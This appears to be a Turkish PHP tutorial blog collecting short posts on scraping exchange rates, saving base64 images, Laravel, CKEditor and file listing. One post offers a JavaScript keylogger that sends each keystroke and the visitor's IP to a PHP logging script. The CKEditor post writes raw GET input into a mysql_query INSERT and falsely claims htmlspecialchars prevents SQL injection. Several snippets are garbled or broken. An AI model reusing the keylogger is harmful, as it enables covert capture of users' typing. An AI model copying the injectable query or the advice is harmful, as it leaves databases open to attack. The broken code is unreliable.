Php İle Döviz Kurları Çekme

Mrblar ,örnek bir uygulama yaptım.Yeni başlayan arkadaşlar için faydalı olacaktır.

<?php
$site = file_get_contents("https://kur.doviz.com/"); //sitemize bağlandık
preg_match_all('@<span class="menu-row2">(.*?)</span>@si',$site,$veri); //çektiğimiz verileri $veri dizisine aktardık
?>

<h3>Gram Altın : <?=$veri[0][0];?></h3>


<h3>Dolar : <?=$veri[0][1];?></h3>


<h3>Euro : <?=$veri[0][2];?></h3>

Php İle Base64 İçerikli Fotoğrafları Kayıt Etmek

Merhabalar arkadaşlar ,internet üzerinde dolanırken bir kişinin sorunla karşılaştığını gördüm.Daha evvel kullandığım bir teknik aklıma geldi.

Sizlerle paylaşmak istiyorum bu örnek kodları ,öncelikle gelen verim Aşağıdaki biçimde olsun.

Örnek linkimiz view-source:http://www.elele.com.tr/guzellik/makyaj/makyaj-hileleri burası olsun.Sayfada ctrl f yardımı ile base64 diye aradğımızda görselimize rastlıyoruz.

Karşımıza gelen kodda olay şu şekilde ,image/jpeg;base64, -> base64 kodları…

Burada yapacağımız işlem gelen base64’ü kırıp bi değişkene aktarmak.Ardından resim dosyası oluşuturup kırılan base64’ü ona yazdırmak..Örnek kodlar aşağıdaki biçimde.

 

<?php

$b64 = "kodlar..";

$i = base64_decode($b64);
$ad = "test";
touch("$ad.jpg");

$dosya = fopen("$ad.jpg", 'w');
fwrite($dosya, "$i");
fclose($dosya);

?>

Php Trim Fonksiyonları Kullanımı

Php kodu yazarken çoğu geliştiricinin kullanmadı eski bir fonksiyon.Ama bazı durumlar olur ki size trim fonksiyonu cidden lazım olur..

Trim soldaki ve sağda bulunan boşlukları silmeye yarayan bir fonksiyondur.L-Trim ve R-Trim ise left ve right’dan gelmektedir.

Sol ve sağ yani.Örnek kullanımını ise aşağıdaki şekilde yapabilirsiniz.

$abc = "  trim fonksiyonu  ";
print trim($abc);

Kullanımı kısaca bu şekilde ,soldan almak istersen ltrim sağdan almak istersek rtrim işimizi görecektir.

Olay böyle ,kolay gelsin..

Larevel Migration Nedir? Nasıl Kullanılır?

Laravel ile ilgili yazılar hazırlamaya başlamıştım ,yaklaşık 15 adet yazıdan oluşacak bu seri umarım güzel bir bilgi kaynağı olacaktır.

Veritabanları php projelerin olmazsa olmazlarındandır.Düz php ile yazılımlar geliştirirken veritabanını phpmyadmin yardımıyla oluşturup kullanımlar için ise dışarı aktarırdık.

Laravel ve Migration yapısı olan frameworklerde ise bu olay php dosyaları üzerinden sorgular çalıştırılarak gerçekleştiriliyor.Bu da kurulum ve olası hatalara karşı bir nevi çözüm demek.

Migration kullanmak ,teslim ettiğiniz yazılımın kurulumunu oldukça kolaylaştıracaktır.

Laravelde migration oluşturmak için kullanılan komut make:migration ,şimdi diyeceksiniz neden böyle şeylerle uğraşıyoruz.Composer ve artisanı bizim amelemiz gibi düşünün.Tek tek girip çıkmak zor iş olsa gerek ve veritabanı yapısının düzenlenmeside oldukça zor..

Basit bir migration oluşturmak için aşağıdaki kodu kullanabiliriz ,bu kod arabalar adında migration oluşturcaktır.

php artisan make:migration create_arabalar_table

Oluşturulan migration dosyası database/migrations içerisinde bulunmaktadır.

Yukarıda belirttiğim gibi ,migration bir nevi sorguları php dosyasının içerisinde çalıştırmak.

Oluşturduğumuz migration dosyasını açalım ,içerisinde iki tane public function tanımlanmış olacak.Bunlardan ilki public function up genellikle yeni veriler eklemek amacıyla kullanılır.İkinci ise public function down tabloların kaldırılması ,boşaltılması gibi amaçlarla kullanılır.

Bizim yapacağımız migration da public function up aşağıdaki şekilde olacak.

public function up()
{
Schema::create('arabalar', function (Blueprint $tablo) {
$tablo->string('araba_id');
$table->string('araba_ad');
$table->string('araba_model');

});
}

Umarım kafanızda kabaca bir taslak oluşturmuştur.Gelelim migrationları çalıştırmaya..

php artisan migrate

Komutunu artisana vermemiz yeterli olacaktır.

Son olarak tablo adı değiştirmeyi ve tablo silmeyi göstermek istiyorum.

Schema::drop('arabalar');

Bu kod ile arabalar tablosunu siliyoruz.Droptan anladığınız gibi.

Schema::rename($eski ,$yeni);

Değişkenlere atadığımız verilerle rename kullanarak tablo isimleri değiştirebiliriz.

Olay kısaca budur arkadaşlar ,daha detaylı bilgi sahibi olmak için laravel dökümantasyonunu inceleyebilirsiniz.

Laravel Nedir? Laravel Nasıl Kurulur?

Laravel ,özellikle web geliştirme yapan arkadaşların sıkça duyduğu bir php framework..Laravel geliştiricilerin basit ve işlevsel kodlar yazmasını sağlayan php geliştirme sektöründe büyük bir yer kaplayan framework..

Laravel diğer frameworklere nazaran çok çabuk öğrenilebilir ,küçük uygulamalardan tutun kapsamlı projelere kadar geliştirme maksimum performansla yapılır.

Kısaca laravel budur ,neden mi laravel kullanmalısınız? Laravel size her türlü imkanı kolayca kullandırttırır ,spagetti php ile 1 ayda yazacağınız uygulamayı laravel ile zevkli bir şekilde 1 haftada dahi çıkartabilirsiniz..

İçerisinde tema sistemi içerir ve eloquent orm kullanır…

Kafanızda bir taslak oluşmuştur diye düşünüyorum ,gelelim laravel kurulumuna.
Linux için kurulum yapmak istiyorsak ilk önce composer kurulumunu gerçekleştirmeliyiz.

curl -sS https://getcomposer.org/installer | php

Ardından composer yardımıyla laravel dosyalarını sunucumuza çekmeliyiz.Komutumuzu çalıştırdığımız dizin proje dizinimiz olmalıdır.

composer create-project laravel/laravel projeismi

Laravel projeniz başarı ile kurulmuş olacaktır.Klasörünüze girip hemen geliştirmeye başlayabilirsiniz.

Eğer laravel ekranında 500 hatası alıyorsanız bilin ki dosyalarınızda chmod yani yazma izni yoktur.Dosyaların yazma izinlerini düzeltip tekrardan deneyebilirsiniz.

Unutmayın ,500 hatası sunucudan kaynaklanan bir sorundur.Dosyaların yazma izinleri yoktur ,kodlarda hata vardır vsvs..

Linux işletim sisteminde chmod izinlerini değiştirmek için aşağıdaki kodu kullanabilirsiniz.

chmod -R xxx public_html/laravel

Xxx ile yazdığımız yere chmod izini gelecektir.Chmod hakkında daha fazla bilgiye sahip olmak için buraya tıklayabilirsiniz.


Eğer windows işletim sistemi kullanıyorsanız ,aşağıdaki yolları inceleyiniz.

Windows’a kurulan sunucu paketleri genelde içerisinde composer bulundurmaz.Aslında ne windows ne de linuxde default olarak composer kurulu gelir..

Ama normal bir geliştirme yaparken bile composer kurulması gereklidir.

Composer kurulumunu indirmek için get composer bağlantısını ziyaret edebilirsiniz.Download kısmından size uygun olan versiyonu indririp ,kurulum sırasında php.exe dosyanızı bulunduğu konumdan seçmeniz gerekmektedir.

Gerisi linux işletim sisteminde yaptığımız gibi ,aşağıdaki kodu proje dizinimizde çalıştırmamız yeterlı olacaktır.

composer create-project laravel/laravel projeismi

Laravel ve ben?

Bundan bayaa bir önceye kadar laravel kullanmıyordum ,aslında çok öneriye rastlıyordum fakat üşengeçlikten dökümantasyonuna bile kabaca göz atmamıştım.2-3 gün evvel boş bir vaktim vardı incelemeye karar verdim ,gerçekten bana basit geldi.Yukarıda belirttiğim gibi hem performansı yüksek hem de kolay bir framework.

Her php geliştiricisinin az da olsa anlaması gereken bir framework diyebilirim ,codeıgnıter ile vs attırdığımızda performans olarak laravel sollayıp geçiyor 🙂

Yorumlarınızı eksik etmezseniz mutlu olurum.

Ckeditor Nedir? Ckeditor Kullanımı?

Yönetilebilir internet sayfaları yaparken editörler çok işimize yarıyor.Editörler bizlere html kodlarını hiç bilmeden yazılarımızı kolayca şekillendirme fırsatı sunmakta.

Piyasada bir çok editör var bunlardan en popülerleri;ckeditör,fckeditör..

Ben projelerimde daima ckeditör kullanırım ,stabilizasyonu ve içerisinde güvenlik açığı bulundurmaması sebeplerimden bazıları.

Öncelikle ckeditor sayfasına gidelim ,karşımıza paketler gelecektir.Eğer kullanıcıya yönelik bir editör yapacaksanız basic package işinizi görecektir.Yok ben kapsamlı bir şey yapacağım derseniz full package kullanmanızı tavsiye ederim.

Sayfamızda bulunan </head> etiketinden evvel aşağıda bulunan sayfaya dahil etmek için kullandığımız kodu yapıştıralım.

<script type=“text/javascript” src=“ck/ckeditor.js”></script>

Ardından ise eklyeceğiniz sayfaya ckeditor class’ı bulunduran bir textarea eklemeniz yeterli olacaktır.

<textarea name=“post” class=“ckeditor”></textarea>

Bunları veritabanına kayıt ettirmek için ise aşağıda bir örnek vereceğim.

Formun olduğu kısımı aşağıdaki gibi varsayalım , kaydet.php dosyasına get ile veri yollanılıyor.

<form method=”get” action=”kaydet.php”/>

<textarea name=veri class=“ckeditor”></textarea>

<input type=”button” value=”kaydet”/>

</form>

Kaydet.php içeriği ise aşağıdaki gibi olsun.

<?php

$gelen = $_GET = [‘veri‘];

            $kaydet        =    mysql_query(“insert into tablo (veri) values (‘$gelen’)”);
            
            if($kaydet){
                print “Veri başarıyla eklendi.”;
            }else{
                echo “Veri başarıyla eklenemedi.”;
            }
?>
Yukarıaki php örneğinde eski bir teknoloji olan mysql_query fonksiyonunu kullandım ,dilerseniz pdo ve mysqli de kullanabilirsiniz.
Mysql_query fonksiyonunu kullanacak olursanız sql injection’u önlemek için htmlspecialchars kullanmanızı ve elinizden geldiği kadar hata yapmaktan kaçmanızı tavsiye ediyorum.
Elimden geldiğince açıklayıcı olarak anlatmaya çalıştım ,gerisi sizde.Eğer karşılaştığınız bir sorun varsa yorum kısmından yazabilirsiniz.
NOT: WORDPRESS’DEN DOLAYI ” BU TIRNAK İŞARETİNİ DÜZ TIRNAK İLE DEĞİŞTİRİNİZ.AKSİ TAKTİRDE ÇALIŞMAYACAKTIR.

Php Nasıl Öğrenilir?

İnternet dünyasının en gelişmiş web programla dillerinden birisi olan php kullanılmaya başladığından beri popüleritesini düşürmeden yayılmaya devam ediyor.Her webmasterin öğrenmesi gereken bir programlama dili olan php açılımı (Hypertext Preprocessor) bu pek bilinmez ama 🙂

Lafı uzatmadan hemen sizlere kolay php öğrenmenizi sağlayacak bir kaç kaynak öneriyim..

W3Schools ,php veya aklınıza gelebilecek her türlü programlama dili ile ilgili materyal barındıran köklü bir eğitim sitesi,php dökümanlarına ulaşmak için buraya tıklayabilirsiniz.

Sanalkurs üzerinden Mustafa Zahid EFE adlı yazılım geliştiricinin çekmiş olduğu eğitimleri inceleyebilirsiniz, ben baktım gerçekten özen var 🙂 Ellerine sağlık kendisinin..

Son olarak php geliştiricilerinin hazırladığı bir anlatım okumak isterseniz , php.net adresine girebilirsiniz.

Bitirişi şöyle yapmak istiyorum ,php ve diğer programlama dilleri pratik yapılmadan öğrenilmesi kolay birşey değil.Bu sebepten dolayı kendinize basit bir proje belirlemenizi onun üzerinden gitmenizi tavsiye ederim..

Faydalı olduysa ne mutlu bana, iyi kodlamalar..

PHP ile Klasör İçersindeki Dosyaları Listeleme

Selamlar ,geçen gün dosya listeleme,dosya düzenleme vb. işlemlerin yapılabileceği bir script geliştiriyordum.Aşağıda bulunan kod gerçekten çok işimi gördü ,sizin de işinizi göreceğine inanç duyuyorum.

Aşağıda bulunan kod çoğu shell yazılımlarında,dosya yöneticisi yazılımlarında kullanılmaktadır.Ben kodladığım bir admin paneli için ftp erişimi kurmaksızın, dosya düzenleme işlemleri için kullanmıştım.


$dizin = opendir("home/bora/public_html"); //listelenecek dizin
	while (($dosya = readdir($dizin)) !== false){
	if(! is_dir($dosya)){ 
		
	echo $dosya."
";
			}
		}
	closedir($dizin);

Javascript İle Keylogger Yapımı

Geçenlerde google’ı biraz inceliyordum,gmail sayfasına daha doğrusu,gmail kayıt sayfasına javascript ile bir keylogger koyduğunun farkına vardım.Bunu bot anlamak için yapıyor olabileceğini düşünmüyor değilim,bir örnek hazırladım aşağıdan kodlarına erişebilirsiniz.

İndex.php dosyamızı şu şekilde hazırlayalım ve javascript dosyamızı dışarıdan include edelim.

<html lang="tr">
<head>
<title>javascript keylogger</a>
<script language="javascript" src="kayit.js"/>
</head>
<body onkeyup="behavior(event)">
makeRequest('./yaz.php?on=' + keyb);
</body>
</html>

Yaz.php dosyamızda budur 🙂 log ve ip adresi kaydı yaptırıyoruz.ip gerçek olan değil porxy ipdir.gerçek olanı almak istiyorsanız bu bağlantıyı ziyaret edebilirsiniz.

<?php
error_reporting(E_ALL & ~E_NOTICE);
$logyolu = "./loglar.html";
$ipadresi = $_SERVER['REMOTE_ADDR'];
$_get= $_GET['on']."|";
$handle = fopen($logyolu,"a");
$handl3 = fopen($logyolu,"c");

fwrite($handl3,"<style>body {; font-size:10px;}</style><div align='center'>"."IP:".$ip."<br />"</div> Loglanan: <br />");

fwrite($handle,$_get);
fclose($handl3);
?>

En son ise kayit.js dosyalarımızı ayarlıyalım :))

function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('./yaz.php?on=' + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
}

Güzel oldu güzel,tabi loglar.html dosyamızı da açalım aynı klasöre..Projeyi internette bir kaynaktan buldum inceledim ve sizlerle paylaşıyorum,tabi bir iki değişiklik de yaptım 😉 Yorumlarınızı eksik etmeyin..

PHP İle Dosya Kontrolü

Bazılarımız uzak sunucudan çektikleri verilerle işlemlerini yaparlar,bunu sürekli elle kontrol etmek yerine php yapısında bulunan get_header() fonksiyonu ile kolayca gerçekleştirebilirsiniz.

$dosya = get_headers("http://borabozdogan.net.tr/dosya.php");
if ($dosya['0'] == 'HTTP/1.1 200 OK') {
echo '<b style="color:Green;">Dosya sitede mecvut</b>';
}else{
echo '<b style="color:Red;">Dosya sitede mevcut değil</b>';
}